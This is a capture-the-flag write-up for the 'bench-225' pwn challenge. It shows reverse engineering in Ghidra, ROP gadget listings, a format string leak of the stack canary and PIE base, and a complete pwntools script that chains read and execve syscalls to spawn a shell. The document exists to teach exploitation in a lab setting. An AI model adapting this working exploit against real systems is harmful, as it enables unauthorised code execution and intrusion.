Description
Life is one big tug of war. And you don’t win the war by pushing the rope.
Enumeration
Analyzing the binary
The user is presented with a binary file bench-225
bench-225: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=385df5c5d03be2e2d41d84bc
0c0cf98ef8b322f0, for GNU/Linux 3.2.0, not stripped
First of all let’s checksec
the binary
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
As we can see, all protections are enabled.
And let’s check if there are any interesting ROP gadgets using ropper
:
...
0x0000000000001332: pop rax; ret;
0x0000000000001207: pop rbp; add byte ptr [rax], al; test rax, rax; je 0x1218; jmp rax;
0x0000000000001248: pop rbp; add byte ptr [rax], al; test rax, rax; je 0x1258; jmp rax;
0x0000000000001293: pop rbp; ret;
0x0000000000001334: pop rbx; ret;
0x000000000000133c: pop rcx; ret;
0x000000000000100c: pop rdi; add byte ptr [rax], al; test rax, rax; je 0x1016; call rax;
0x0000000000001336: pop rdi; ret;
0x0000000000001338: pop rdx; ret;
0x000000000000133a: pop rsi; ret;
...
0x000000000000101a: ret;
0x000000000000133e: syscall;
0x000000000000133e: syscall; ret;
It seems that there’s a lot of useful gadgets in this binary. Here’s the program running:
/ | / | / \ / \ / |
$$ |____ ______ _______ _______ $$ |____ /$$$$$$ |/$$$$$$ |$$$$$$$/
$$ \ / \ / \ / |$$ \ ______$$____$$ |$$____$$ |$$ |____
$$$$$$$ |/$$$$$$ |$$$$$$$ |/$$$$$$$/ $$$$$$$ |/ |/ $$/ / $$/ $$ \
$$ | $$ |$$ $$ |$$ | $$ |$$ | $$ | $$ |$$$$$$//$$$$$$/ /$$$$$$/ $$$$$$$ |
$$ |__$$ |$$$$$$$$/ $$ | $$ |$$ \_____ $$ | $$ | $$ |_____ $$ |_____ / \__$$ |
$$ $$/ $$ |$$ | $$ |$$ |$$ | $$ | $$ |$$ |$$ $$/
$$$$$$$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$$/ $$$$$$$$/ $$$$$$/
Grind doesn't stop.
====================================
Name: Gary Goggins
Goal: 225 lbs x 25 reps
Current Weight: 0
Rep: 0/25
Stamina: 140
====================================
Choose an option:
1. Add 10s
2. Add 25s
3. Add 45s
4. Bench
5. Remove Plate
Decompiling
Here’s the main()
function:
/* WARNING: Switch with 1 destination removed at 0x001015f9 */
/* WARNING: Exceeded maximum restarts with more pending */
void main(void)
{
long in_FS_OFFSET;
undefined4 local_14;
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
local_14 = 0;
puts(" __ __ ______ ______ _______ ");
puts("/ | / | / \\ / \\ / | ");
puts("$$ |____ ______ _______ _______ $$ |____ /$$$$$$ |/$$$$$$ |$$$$$$$/ ");
puts("$$ \\ / \\ / \\ / |$$ \\ ______$$____$$ |$$____$$ |$$ |____ "
);
puts("$$$$$$$ |/$$$$$$ |$$$$$$$ |/$$$$$$$/ $$$$$$$ |/ |/ $$/ / $$/ $$ \\ ");
puts("$$ | $$ |$$ $$ |$$ | $$ |$$ | $$ | $$ |$$$$$$//$$$$$$/ /$$$$$$/ $$$$$$$ |");
puts("$$ |__$$ |$$$$$$$$/ $$ | $$ |$$ \\_____ $$ | $$ | $$ |_____ $$ |_____ / \\__$$ |");
puts("$$ $$/ $$ |$$ | $$ |$$ |$$ | $$ | $$ |$$ |$$ $$/ ");
puts("$$$$$$$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$$/ $$$$$$$$/ $$$$$$/ ");
putchar(10);
puts("Grind doesn\'t stop.");
putchar(10);
g_Barbell = 0;
DAT_00107092 = 0xe1;
DAT_0010709a = 0x8c;
DAT_00107094 = 0x13b;
DAT_00107098 = 0x19;
DAT_00107096 = 0;
do {
puts("====================================");
puts("Name: Gary Goggins");
printf("Goal: %d lbs x %d reps\n",(ulong)DAT_00107092,(ulong)DAT_00107098);
printf("Current Weight: %d\n",(ulong)g_Barbell);
printf("Rep: %d/%d\n",(ulong)DAT_00107096,(ulong)DAT_00107098);
printf("Stamina: %d\n",(ulong)DAT_0010709a);
puts("====================================");
putchar(10);
puts("Choose an option:");
puts("1. Add 10s");
puts("2. Add 25s");
puts("3. Add 45s");
puts("4. Bench");
puts("5. Remove Plate");
if ((DAT_0010709a < 0x32) && (DAT_00107092 <= g_Barbell)) {
puts("6. Motivational Quote");
}
__isoc99_scanf(&DAT_001034bf,&local_14);
/* WARNING: Could not find normalized switch variable to match jumptable */
/* WARNING: This code block may not be properly labeled as switch case */
puts("Invalid choice.");
} while( true );
}
As we can see in the code above, there’s a hidden option 6
, it becomes visible only when a certain condition is met, using the printf
lines we can rename the variables into more meaningful names
puts("====================================");
puts("Name: Gary Goggins");
printf("Goal: %d lbs x %d reps\n",(ulong)goal,(ulong)reps);
printf("Current Weight: %d\n",(ulong)current_weight);
printf("Rep: %d/%d\n",(ulong)current_reps,(ulong)reps);
printf("Stamina: %d\n",(ulong)stamina);
puts("====================================");
putchar(10);
puts("Choose an option:");
puts("1. Add 10s");
puts("2. Add 25s");
puts("3. Add 45s");
puts("4. Bench");
puts("5. Remove Plate");
if ((stamina < 0x32) && (goal <= current_weight)) {
puts("6. Motivational Quote");
}
So, basically if we want to show the sixth option, we need to have stamina
smaller than 50 and current_weight
bigger than the goal.
TIP
When Ghidra displays warnings indicating potential issues with the decompilation of a specific function, it’s advisable to inspect the disassembly window. In cases where certain bytes are not disassembled and are labeled as
??
, you can force Ghidra to disassemble them by pressing the letterD
or selecting “Disassemble” from the context menu. Afterward, refreshing the decompilation window can help ensure a more accurate representation of the code.
Here’s the decompiled switch
that Ghidra
failed to decompile at first, I’ve also renamed some functions for readability:
switch(*(undefined4 *)(unaff_RBP + -0xc)) {
default:
puts("Invalid choice.");
break;
case 1:
add_10s();
break;
case 2:
add_25s();
break;
case 3:
add_45s();
break;
case 4:
if (stamina == 0) {
puts("You are too tired to continue.");
}
else {
bench();
}
break;
case 5:
printf("\x1b[2J");
puts("Weakness is a choice.");
break;
case 6:
goto code_r0x00101677;
}
Now it makes sense to go check the motivation
function, as it was the hidden option, so here’s the decompilation of it:
void motivation(void)
{
int i;
long in_FS_OFFSET;
char local_18 [8];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
memset(local_18,0,8);
printf("Enter your motivational quote: ");
do {
i = getchar();
if (i == 10) break;
} while (i != -1);
fgets(local_18,1000,stdin);
printf("\x1b[2J");
printf("Quote: \"");
printf(local_18);
printf("\" - Gary Goggins");
// redacted ...
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The motivation
function appears to have a buffer overflow vulnerability due to the fgets(local_18, 1000, stdin);
line, as well as a format string vulnerability caused by printf(local_18);
Plan
Upon analyzing the binary, the initial plan was to exploit the format string vulnerability to leak the libc address and then construct a ROP chain to execute /bin/sh
. But we lacked information about the specific libc version used on the remote server. This made it difficult to determine the correct addresses even if we successfully leaked some. Since only the binary was provided without any additional details, we needed to devise an alternative strategy.
The revised plan involved the following steps:
- Uncover the hidden
motivation
option. - Leak the base address of the executable to establish a reference point.
- Directly read
/bin/sh
from standard input (stdin
) into a writable address within the binary. - Utilize the leaked base address and the ROP gadgets within the binary to call the
execve
system call with the address of/bin/sh
, enabling us to spawn a shell.
Solution
To reveal the hidden option, we must manipulate the weight and stamina values within the program. Since the goal weight is 225 lbs and we have the options to add 10s, 20s, or 45s, we choose to add 5 of the 45s plates, which corresponds to option 3 in the program:
for i in range(5):
io.recvuntil(b"5. Remove Plate")
io.sendline(b"3")
Next, we need to set the stamina value to be less than 50. To achieve this, we repeatedly use the “bench” option (option 4) six times:
for i in range(6):
io.recvuntil(b"5. Remove Plate")
io.sendline(b"4")
The next step in the exploit involves extracting crucial data from the program’s memory, such as the canary value, the base address of the ELF binary, and a writable memory address. I utilized the format string vulnerability to accomplish this task and created a simple function for easier implementation:
def leak_address(offset):
io.recvuntil(b"6. Motivational Quote")
io.sendline(b"6")
io.recvuntil(b"Enter your motivational quote:")
io.sendline(f"%{offset}$p".encode("ascii"))
address = int(io.recvuntil(b" - Gary Goggins").split(b":")[1].replace(b"\"", b"").replace(b"\n", b"").split(b"-")[0].strip(), 16)
return address
This function allows us to specify an offset and retrieve the corresponding memory address by leveraging the format string vulnerability in the program.
After that we can leak the addresses and the canary as follows:
canary = leak_address(33)
log.success(f"canary: 0x{canary:x}")
elf.address = leak_address(17) - elf.symbols['main']
log.success(f"elf base: 0x{elf.address:x}")
writable_address = elf.address + 0x7150
log.success(f"writable address: 0x{writable_address:x}")
After obtaining the leaked addresses, we’re now ready for the next phase, which involves writing to the writable_address
location. The rationale behind this step is that we lack information about the specific libc version used on the remote server. Therefore, we opt to utilize ROP gadgets available within the binary itself to spawn a shell. However, to achieve this, we must store the string /bin/sh
in a location within memory.
TIP
You can use
gdb-pwndbg
with thevmmap
command to locate a writable address. Simply look for any address that is marked with the write flag, and you can select that as your writable location.
Since we already acquired the base address of the binary, we can identify a writable location and utilize it as the storage for /bin/sh
. To accomplish this, we initiate the first payload, which calls the syscall read
to read from stdin
, enabling us to write into the writable address:
# first stage ---------------------------------------------
payload = flat([
cyclic(8),
p64(canary),
cyclic(8),
p64(RET),
p64(POP_RSI),
p64(writable_address),
p64(POP_RDI),
p64(0),
p64(POP_RDX),
p64(0xff),
p64(POP_RAX),
p64(0), # read
p64(SYSCALL),
p64(RET),
p64(elf.symbols['motivation'])
])
io.recvuntil(b"6. Motivational Quote")
io.sendline(b"6")
io.recvuntil(b"Enter your motivational quote:")
io.clean()
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
Once the /bin/sh
is stored, we’ll proceed by sending the second payload, which will grant us a shell:
payload = flat([
cyclic(8),
p64(canary),
cyclic(8),
p64(RET),
p64(POP_RDI),
p64(writable_address),
p64(POP_RSI),
p64(0),
p64(POP_RDX),
p64(0),
p64(POP_RAX),
p64(0x3b), # execve
p64(SYSCALL),
])
io.recvuntil(b"Enter your motivational quote:")
io.sendline()
io.sendline(payload)
And here’s the full exploit:
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
'''.format(**locals())
exe = './bench-225'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
io = start()
# setup the program to get the vulnerable option
for i in range(5):
io.recvuntil(b"5. Remove Plate")
io.sendline(b"3")
for i in range(6):
io.recvuntil(b"5. Remove Plate")
io.sendline(b"4")
# leak addresses
def leak_address(offset):
io.recvuntil(b"6. Motivational Quote")
io.sendline(b"6")
io.recvuntil(b"Enter your motivational quote:")
io.sendline(f"%{offset}$p".encode("ascii"))
address = int(io.recvuntil(b" - Gary Goggins").split(b":")[1].replace(b"\"", b"").replace(b"\n", b"").split(b"-")[0].strip(), 16)
return address
canary = leak_address(33)
log.success(f"canary: 0x{canary:x}")
elf.address = leak_address(17) - elf.symbols['main']
log.success(f"elf base: 0x{elf.address:x}")
writable_address = elf.address + 0x7150
log.success(f"writable address: 0x{writable_address:x}")
# preparing rop gadgets ---------------------------------------------
POP_RDI = elf.address + 0x0000000000001336
POP_RSI = elf.address + 0x000000000000133a
POP_RDX = elf.address + 0x0000000000001338
POP_RAX = elf.address + 0x0000000000001332
SYSCALL = elf.address + 0x000000000000133e
RET = elf.address + 0x000000000000101a
# first stage ---------------------------------------------
payload = flat([
cyclic(8),
p64(canary),
cyclic(8),
p64(RET),
p64(POP_RSI),
p64(writable_address),
p64(POP_RDI),
p64(0),
p64(POP_RDX),
p64(0xff),
p64(POP_RAX),
p64(0),
p64(SYSCALL),
p64(RET),
p64(elf.symbols['motivation'])
])
io.recvuntil(b"6. Motivational Quote")
io.sendline(b"6")
io.recvuntil(b"Enter your motivational quote:")
io.clean()
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
# Second Stage ---------------------------------------------
payload = flat([
cyclic(8),
p64(canary),
cyclic(8),
p64(RET),
p64(POP_RDI),
p64(writable_address),
p64(POP_RSI),
p64(0),
p64(POP_RDX),
p64(0),
p64(POP_RAX),
p64(0x3b),
p64(SYSCALL),
])
io.recvuntil(b"Enter your motivational quote:")
io.sendline()
io.sendline(payload)
io.clean()
# Got Shell?
io.interactive()
The flag :
UMASS{wh0$e_g0nn4_c4rry_t3h_r0pz_&nd_d4_ch41nz?}